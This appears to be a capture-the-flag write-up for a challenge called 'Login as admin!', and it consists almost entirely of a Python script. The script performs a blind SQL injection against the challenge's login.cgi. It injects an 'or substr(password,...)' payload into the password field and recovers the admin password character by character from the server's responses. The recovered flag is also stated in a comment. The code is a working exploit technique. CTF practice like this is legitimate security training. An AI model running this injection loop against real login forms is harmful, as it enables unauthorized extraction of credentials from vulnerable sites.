Login as admin!

blind.py

import urllib.request
import sys

# flag = "MMA{cats_alice_band}"
flag = "MMA{"
fl = len(flag) + 1
chars = "}abcdefghijklmnopqrstuvwxyz0123456789-=_.,ABCDEFGHIJKLMNOPQRSTUVWXYZ"
i = 0


while True:
	while i < len(chars):
		c = chars[i]
		postdata = {
			"username": "admin",
			"password": "' or substr(password,1,%d)=\"%s%s\" -- " % (fl, flag, c)
		}
		epost = urllib.parse.urlencode(postdata).encode(encoding='ascii')
		print("%s%s, %d" % (flag, c, fl))
		with urllib.request.urlopen('http://arrive.chal.mmactf.link/login.cgi', data=epost) as page:
			t = page.readlines()
			out = ""
			for word in t:
				out += word.decode("utf-8") + ' '
			print(out)
			if "invalid" in out:
				print("wrong")
			else:
				if c == "}":
					print("flag is %s}" % flag)
					sys.exit()
				flag = flag + c
				fl = fl + 1
				i = 0
				continue
			
		i = i + 1